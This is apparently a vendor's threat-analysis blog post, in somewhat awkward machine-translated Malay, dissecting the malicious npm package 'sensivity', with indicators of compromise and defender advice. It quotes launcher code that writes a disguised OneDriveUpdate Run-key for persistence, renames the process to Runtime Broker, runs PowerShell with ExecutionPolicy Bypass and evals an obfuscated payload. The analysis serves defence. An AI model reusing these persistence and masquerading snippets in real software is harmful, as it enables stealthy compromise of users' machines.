PairLoop: Panel Kawalan Jauh Tersembunyi dalam Pakej npm

PairLoop: Satu Pakej npm, Tujuh Puluh Versi dan Panel Kawalan Jauh Windows Tersembunyi

TL; DR

Pakej npm kepekaan menggambarkan dirinya sebagai "Panel Kawalan Sensitiviti." Pada Windows, ia berfungsi sebagai alat kawalan jauh dan pengawasan.

Titik masuknya, launcher.js, menamakan semula prosesnya sendiri kepada Runtime Broker, menulis nilai Run-key autostart bernama OneDriveUpdate yang melancarkan semula pakej melalui VBScript tersembunyi, menghasilkan PowerShell dengan -ExecutionPolicy Bypass, dan kemudian menilai muatan pelayan yang dikaburkan 171 KB bersama modul asli 6.87 MB, sens.node.

Ia berfungsi sebagai panel kawalan pasangan telefon pada port TCP 3000 dan membaca URL bar alamat pelayar aktif melalui Windows UIAutomation, memerhatikan satu video YouTube berkod keras.

Dua bahagian yang sebelum ini dibaca dibiarkan sebagai kotak hitam kini telah diselesaikan. Pelayan yang dikaburkan, server.obf.js, menggunakan skema tatasusunan rentetan RC4 obfuscator.io; melaksanakan semula penyahkodnya di luar talian (tiada JavaScript dilaksanakan) memulihkan titik akhir luaran tunggal — https://izopi.com/check.php — bersama-sama dengan kunci awam RSA terbenam yang digunakan untuk mengesahkan respons lesen yang ditandatangani.

Modul asli, sens.node, tidak dibungkus: jadual import dan rentetan terbenamnya mengenal pastinya sebagai tindanan dalam permainan DirectX 11 / Dear ImGui yang menyediakan ciri aimbot, ESP (penggodaman dinding) dan triggerbot, didorong oleh suntikan proses jauh dan bacaan/penulisan memori.

Rentetan di dalamnya merujuk kepada entiti kenderaan dan lokasi peta yang selaras dengan GTA V / FiveM. Pakej npm ialah pembungkus penghantaran dan ketekunan di sekeliling modul natif tersebut.

Isyarat penentu adalah operasi, bukan teknikal: satu penerbit tanpa nama telah menerbitkan kira-kira tujuh puluh versi satu pakej — 2.5.0 melalui 2.5.69 — sepanjang beberapa hari, setiap satunya membawa pelancar yang sama.

Tiada pemasangan hooksMuatan hanya berjalan apabila pakej dimulakan.

Serangan: Bagaimana Ia Berfungsi

sensivity menghantar sepuluh fail. Package.json adalah jarang: tiada medan repositori, tiada lesen, main dan dua alias bin (sensivity, sens) semuanya menghala ke launcher.js, dan skrip mula nod launcher.js. Tiada pasca pemasangan atau pra pemasangan. Tiada apa-apa yang diaktifkan pada npm install. Tingkah laku yang diterangkan di bawah berjalan apabila pengguna memulakan pakej — melalui bin shim, skrip mula atau require.

Tarball tersebut mengandungi pelancar, pelayan yang dikaburkan, modul asli, skrip Visual Basic dan direktori awam/web untuk panel kawalan. launcher.js ialah orchestrator yang boleh dibaca; logik yang penting semasa masa jalan berada dalam dua gumpalan yang dimuatkannya — pelayan yang dikaburkan dan modul asli yang dikompilasi, kedua-duanya diselesaikan di bawah.

 Penyamaran proses dan pengemas kini OneDrive palsu

Pada awal pelaksanaan, launcher.js menetapkan nama prosesnya sendiri dua kali:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker ialah proses Windows yang sah (RuntimeBroker.exe) yang menjadi perantara kebenaran aplikasi. Menamakan semula proses Nod agar sepadan bermakna pandangan pantas pada Pengurus Tugas tidak menunjukkan sebarang perkara yang luar biasa.

Kegigihan ditulis melalui PowerShell dan bukannya API pendaftaran langsung:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Nilai automula dinamakan OneDriveUpdate, dan ia tidak menghala ke pakej secara langsung. Ia menghala ke wscript.exe yang menjalankan OneDrive.Standalone.Updater.vbs yang dibundel. Skrip tersebut melancarkan semula nod launcher.js dalam tetingkap tersembunyi. Kedua-dua nama Run-key dan nama fail VBScript meminjam penjenamaan Microsoft, jadi entri automula dibaca sebagai tugas OneDrive rutin.

PowerShell dengan pintasan dasar pelaksanaan

Pelancar berulang kali menggunakan PowerShell. Sinki yang ditandai oleh pengimbas sebagai kritikal ialah pelancaran .ps1 yang dijana dengan dasar pelaksanaan dilumpuhkan:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass mengalih keluar semakan penandatanganan skrip setempat untuk pemanggilan tersebut. Skrip yang dijana mengendalikan kerja pengawasan pelayar dan pengesanan tetingkap yang diterangkan dalam bahagian seterusnya.

Pelayan yang dikaburkan dan modul asli

Selepas persediaan, launcher.js memuatkan dan melaksanakan muatan sebenar:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js ialah 171 KB bagi obfuscation _0x-array — corak JavaScript di mana setiap rentetan dan pengecam digantikan dengan indeks ke dalam tatasusunan yang dikocok, kemudian dinyahrujuk semasa masa jalan. Skema ini ialah varian RC4 yang dihasilkan oleh obfuscator.io: fungsi penyahkod tunggal base64-menyahkod entri tatasusunan dan kemudian RC4-menyahsulitnya dengan kunci setiap panggilan. Melaksanakan semula penyahkod tersebut dalam skrip berasingan — hanya menjalankan pelaksanaan semula ke atas tatasusunan rentetan entri 821 yang diekstrak, bukan JavaScript pakej itu sendiri — akan membukanya dengan bersih. Permukaan apa yang sederhana tetapi decisive: satu URL luaran, https://izopi.com/check.php`, yang diberikan kepada pemalar LICENSE_URL; RSA PUBLIC_KEY_PEM` terbenam; panel setempat menghalakan /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, dan /trigger/status; dan rentetan child_process, crypto, dan [Sensivity] sens.node dimuatkan — yang terakhir ialah baris log tepat yang ditulis semula oleh pelancar kepada modul program yang dimuatkan. Titik akhir ialah semakan lesen: klien menyiarkan pengecam (pelayan yang dikaburkan memformat ID Discord: rentetan %s) dan kunci RSA mengesahkan respons pelayan yang ditandatangani.

sens.node ialah addon asli yang dikompilasi sebanyak 6.87 MB, dan ia tidak dikemas — entropi seksyen berada pada 5.6–6.6 dan jadual import dan eksport PE adalah utuh, jadi keupayaannya boleh dibaca secara langsung. Ia mengeksport napi_register_module_v1, yang standard Titik masuk N-API nod, jadi pelayan eval'd memuatkannya dengan keperluan biasa. Jadual importnya adalah petunjuk. Daripada KERNEL32 ia menarik OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules dan Process32First/NextW — set kanonik untuk mencari proses lain, memperuntukkan memori di dalamnya dan membaca atau menulis memori tersebut. Daripada USER32 ia menarik GetAsyncKeyState, GetKeyState, mouse_event dan SetCursorPos; ia memautkan d3d11.dll, D3DCOMPILER_43 dan dwmapi untuk tindanan pada skrin dan set WINHTTP penuh untuk panggilan rangkaian. Rentetan terbenamnya menamakan set ciri tanpa kekaburan: Dayakan Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat dikesan dan sepanduk Dear ImGui Dear ImGui 1.91.3 WIP. Rentetan lokasi dan entiti seperti Grapeseed Medical Clinic dan perbendaharaan kata vehicle-ESP adalah konsisten dengan GTA V / FiveM.

Pemisahan ini sebenarnya disengajakan: launcher.js yang boleh dibaca hanya membawa bahagian yang mudah dibaca oleh pengimbas — persistence, masquerade, panggilan eval itu sendiri — manakala obfuscation menyembunyikan satu hos luaran iaitu kenalan runtime, dan binari menyimpan logik overlay permainan dan suntikan proses. Pelancar ialah shell nipis yang boleh diaudit; pelayan yang dikaburkan menyembunyikan identiti rangkaian; modul asli ialah muatan. Kami menerangkan import dan rentetan binari sebagai dibaca; kami tidak menyimpulkan tujuan operator daripadanya.

 Panel kawalan pasangan telefon pada port 3000

Pelancar mengurus pelayan web tempatan pada port TCP 3000 dan melayannya sebagai singleton. Ia membuat pertanyaan untuk pendengar sedia ada dan mengosongkannya sebelum mengikat:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panel ini boleh dicapai di http://localhost:3000, dengan URL sandaran LAN berkod keras iaitu http://192.168.1.16:3000. Direktori public/ dan tingkah laku panel adalah konsisten dengan aliran gandingan QR: telefon mengimbas kod dan mengikat kepada hos sebagai alat kawalan jauh. Tiada domain arahan dan kawalan luaran muncul dalam teks jelas dalam pelancar — tetapi, seperti yang ditunjukkan oleh penyahkeliruan di atas, satu domain terdapat dalam pelayan yang dikaburkan: titik akhir lesen izopi.com. Panel itu sendiri adalah setempat dan berskop LAN; satu-satunya hos keluar ialah semakan lesen tersebut.

Model penyelia/pekerja yang terpisah memastikan proses tersebut terus hidup. Pelancar akan menghasilkan semula dirinya dengan bendera persekitaran SENSIVITY_SUPERVISOR dan SENSIVITY_WORKER, setiap anak berjalan secara tersembunyi, jadi membunuh satu proses akan menyebabkan pengawas memulakannya semula.

Pengawasan Pelayar dan Isyarat YouTube

Tingkah laku yang paling spesifik ialah pemantauan pelayar. launcher.js membina PowerShell yang memacu Windows UIAutomation untuk membaca bar alamat pelayar yang sedang berjalan:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern mengembalikan kandungan teks elemen UI. Digunakan pada kawalan edit bar alamat pelayar, ia mengembalikan URL yang sedang dilihat oleh mangsa — tanpa sambungan pelayar, tanpa menyentuh profil pada cakera dan tanpa cangkuk API. Skrip yang dijana mengulang senarai $browserNames dan mengekstrak URL atau tajuk tetingkap mana-mana pelayar yang berada di latar depan.

URL tersebut diuji terhadap satu sasaran berkod keras:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Pelancar akan membuat tinjauan gelung tiga saat untuk tetingkap pelayar yang memaparkan YouTube, dan PowerShell yang dijana membawa pasangan Get-YouTubeBrowser / Test-TargetYouTubeUrl yang sepadan dengan ID video tersebut. Kesan yang boleh diperhatikan adalah dua kali ganda: URL pelayaran aktif dibaca dari skrin mangsa, dan interaksi hos dengan satu video YouTube tertentu dikesan. Kami menerangkan mekanisme dan sasaran; kami tidak menyimpulkan motif daripadanya.

Bacaan bar alamat ialah apa yang dilabelkan oleh pengimbas sebagai sensitive_data_enumeration — sumber Process::env dan UIAutomation yang memberi makan masa jalan berkemampuan rangkaian. Ia kelihatan tidak berbahaya secara berasingan dan hanya akan diselaraskan kepada pengawasan sebaik sahaja kitar hayat data dikesan daripada sumber UIAutomation ke pelayan yang dikaburkan.

Garis Masa dan Evolusi Versi

Sensivity bukanlah muat naik sekali sahaja. Akaun penerbit mempunyai kira-kira tujuh puluh versi pakej tunggal ini yang telah diterbitkan, dan versi baharu terus tiba semasa tempoh semakan. Pelancar ini menambah ciri demi ciri merentasi barisan 2.5.x sementara kegigihan dan pemuatan muatannya kekal tetap.

Tarikh (UTC) Versi yang diperhatikan Keadaan pelancar
2026-06-02 2.5.8 - 2.5.46 (25) Pelancar panel QR asas; Kegigihan kekunci jalankan; penilaian pelayan yang dikaburkan.
2026-06-03 2.5.53 - 2.5.61 (6) Cap jari yang sama; penindasan jejak konsol.
2026-06-04 2.5.67, 2.5.68 (2) Menambah sasaran penglibatan YouTube yang disematkan wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Penerbitan semula pengisian jurang merentasi julat; penyelia/pemerhati pekerja.

Membaca pelancar merentasi wakil yang dimuat turun — 2.5.0, 2.5.36 dan 2.5.69 — menunjukkan empat peringkat. Binaan terawal membawa pelancar gandingan QR asas. Dari 2.5.33, penuai bar alamat UIAutomation muncul. Dari 2.5.58, lapisan pengurusan penyelia ditambah. Dari 2.5.64, pengawas penyelia/pekerja yang terpisah melengkapkan set tersebut. Secara keseluruhannya, empat perkara tidak pernah berubah: kekunci Jalankan OneDriveUpdate, penitis OneDrive.Standalone.Updater.vbs, server.obf.js eval'd dan modul natif sens.node.

Gelombang 2026-06-05 adalah penting kerana ia menerbitkan semula nombor versi rendah — 2.5.0 hingga 2.5.15 — yang berada di bawah versi yang disahkan beberapa hari sebelumnya. Kesannya ialah baris 2.5.x yang bersebelahan pada pendaftaran, setiap versi membawa pelancar yang sama.

Petunjuk kompromi

Semua penunjuk di bawah dibaca terus daripada pakej tarball. Pelancar yang boleh dibaca hanya membawa gelung balik dan satu alamat LAN peribadi; satu nama hos luaran, izopi.com, telah dipulihkan dengan menyahobfuscating server.obf.js luar talian.

Jenis Petunjuk Nota
Pakej npm:sensivity (≈70 versi, 2.5.0-2.5.69) Penerbit pakej tunggal; tiada repositori; tidak berlesen.
File launcher.js Orkestrator yang boleh dibaca; sasaran utama dan bin.
File server.obf.js (≈171 KB) obfuscator.io Muatan tatasusunan rentetan RC4, dimuatkan melalui eval(fs.readFileSync(...)).
File sens.node (≈6.87 MB) Tambahan N-API Nod PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs Pelancar semula tersembunyi (node launcher.js).
rangkaian https://izopi.com/check.php Titik akhir lesen/pengesahan dipulihkan daripada pelayan yang dikaburkan; kunci awam RSA terbenam mengesahkan respons.
Keupayaan OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Suntikan proses jauh dan keupayaan baca/tulis memori.
Keupayaan Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Hamparan permainan DirectX 11 / ImGui yang melaksanakan ciri aimbot, ESP dan triggerbot.
pendaftaran HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Nilai mula automatik menghala ke wscript.exe dan pelancar VBScript.
Proses process.title = 'Runtime Broker' Menyamar sebagai proses Windows Runtime Broker yang sah.
Kelakuan powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Pintasan dasar pelaksanaan digunakan untuk skrip PowerShell yang dijana.
Kelakuan UIAutomation ValuePattern bacaan bar alamat pelayar Membaca URL tetingkap pelayar latar depan.
Kelakuan ID video sasaran wJWta2lO0Lw; undian YouTube 3 saat Isyarat pemantauan penglibatan yang disematkan.
rangkaian http://localhost:3000, sandaran http://192.168.1.16:3000 Panel kawalan gandingan QR didedahkan secara setempat dan pada LAN.
alam Sekitar SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Bendera penyelarasan proses pengawas berasingan.

Atribusi, Impak dan Pembela

Pakej ini diterbitkan oleh satu akaun npm yang e-melnya dinyatakan sebagai alamat Gmail yang tidak disahkan. Akaun ini mempunyai skor reputasi pendaftaran yang sangat negatif, hanya menyelenggara dan menerbitkan satu pakej ini dan tidak mempunyai repositori sumber yang dipautkan. Kami belum mengesahkan pemilikan e-mel tersebut dan kami mengaitkan kempen tersebut dengan akaun penerbit, bukan kepada mana-mana individu yang dinamakan. Pelancar ini tidak mempunyai infrastruktur teks jelas tetapi satu hos luaran kini diketahui: pelayan yang dikaburkan menghubungi izopi.com untuk pemeriksaan lesen dan modul asli — dibaca daripada jadual import dan rentetannya dan bukannya arahan demi arahan yang diterbalikkan — ialah tindanan permainan yang menyuntik dan membaca memori proses lain.

Kesan yang boleh diperhatikan akan dialami oleh pengguna Windows yang memasang dan menjalankan sensitiviti dengan menjangkakan utiliti panel kawalan. Pada hos tersebut, pakej tersebut menetapkan kegigihan mula automatik yang menyamar sebagai tugas OneDrive, menamakan semula dirinya untuk meniru proses sistem, membaca URL apa sahaja yang sedang dilayari oleh pengguna dan memaparkan panel gandingan yang mengikat mesin ke alat kawalan jauh melalui rangkaian setempat. Pengawas penyelia/pekerja bermaksud pembunuhan proses tunggal tidak akan mengalih keluarnya; entri kekunci Jalankan akan kekal selepas but semula. macOS dan Linux tidak disasarkan oleh pelancar — laluan kegigihan, PowerShell dan UIAutomation adalah untuk Windows sahaja.

Perubahan versi ke-70 merupakan trend yang perlu diberi perhatian. Menerbitkan semula satu pakej berpuluh-puluh kali dalam beberapa hari, termasuk mengisi semula nombor versi di bawah yang telah dialih keluar, menyimpan salinan langsung pada daftar antara penyingkiran dan menggagalkan senarai sekatan yang disematkan versi. Entri senarai sekatan untuk sensivity@2.5.61 tidak akan menjejaskan sensivity@2.5.3 yang diterbitkan semula pada keesokan harinya.

Pembela boleh bertindak berdasarkan perkara berikut:

  • Sekat sensitiviti nama pakej sepenuhnya dalam senarai dibenarkan proksi pendaftaran dan CI. Menyematkan versi individu akan menyebabkan irama penerbitan semula hilang; nama tersebut ialah penunjuk tahan lama.
  • Cari nilai Run bernama OneDriveUpdate yang datanya memanggil wscript.exe terhadap .vbs dalam laluan setiap pengguna. Pengemas kini OneDrive yang tulen tidak didaftarkan dengan cara ini.
  • Amaran tentang proses Node.js yang process.title-nya ialah Runtime Broker. Broker sebenar ialah RuntimeBroker.exe, bukan Node runtime.
  • Tandakan pengambilan masa pemasangan npm bagi pakej yang menghantar addon .node yang dikompilasi serta eval(fs.readFileSync(…)) bagi fail adik-beradik .obf.js. Padanan itu — binari natif legap yang dimuatkan di sebelah muatan teks yang dikaburkan — ialah petunjuk struktur di sini, bebas daripada sebarang rentetan IOC.
  • Anggap mana-mana pendengar yang terikat secara setempat pada port 3000 yang dihasilkan oleh proses Node yang tidak dijangka sebagai suspek pada titik akhir Windows terurus.
  • Sekat atau beri amaran tentang permintaan keluar ke izopi.com daripada hos pembangun atau pengguna akhir; ia merupakan satu-satunya titik akhir luaran pakej, yang dicapai di /check.php daripada pelayan yang dikaburkan.
  • Untuk sebarang tambahan .node yang dibundel, periksa jadual importnya sebelum mempercayainya. Gabungan OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ialah suntikan proses jauh tanpa mengira apa yang didakwa oleh pakej; di sini ia terletak di sebelah tindanan Direct3D dan rentetan aimbot/ESP/triggerbot.

Untuk analisis statik pipelines, bentuk keyakinan adalah tahan lama merentasi perubahan versi: profil pemasangan bukan rangkaian, tugasan tajuk proses kepada nama proses sistem yang diketahui, penulisan Run-key melalui PowerShell dan penilaian fail yang dibaca daripada cakera. Tiada satu pun daripadanya bergantung pada domain, IP atau nombor versi yang boleh diputar oleh penerbitan semula seterusnya.

 Rujukan

[npm: kepekaan] – halaman pendaftaran untuk baris versi pakej yang dibincangkan di sini; tertakluk kepada penghapusan.

alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi Pembangunan dan Penghantaran Perisian Anda

dengan Suit Produk Xygeni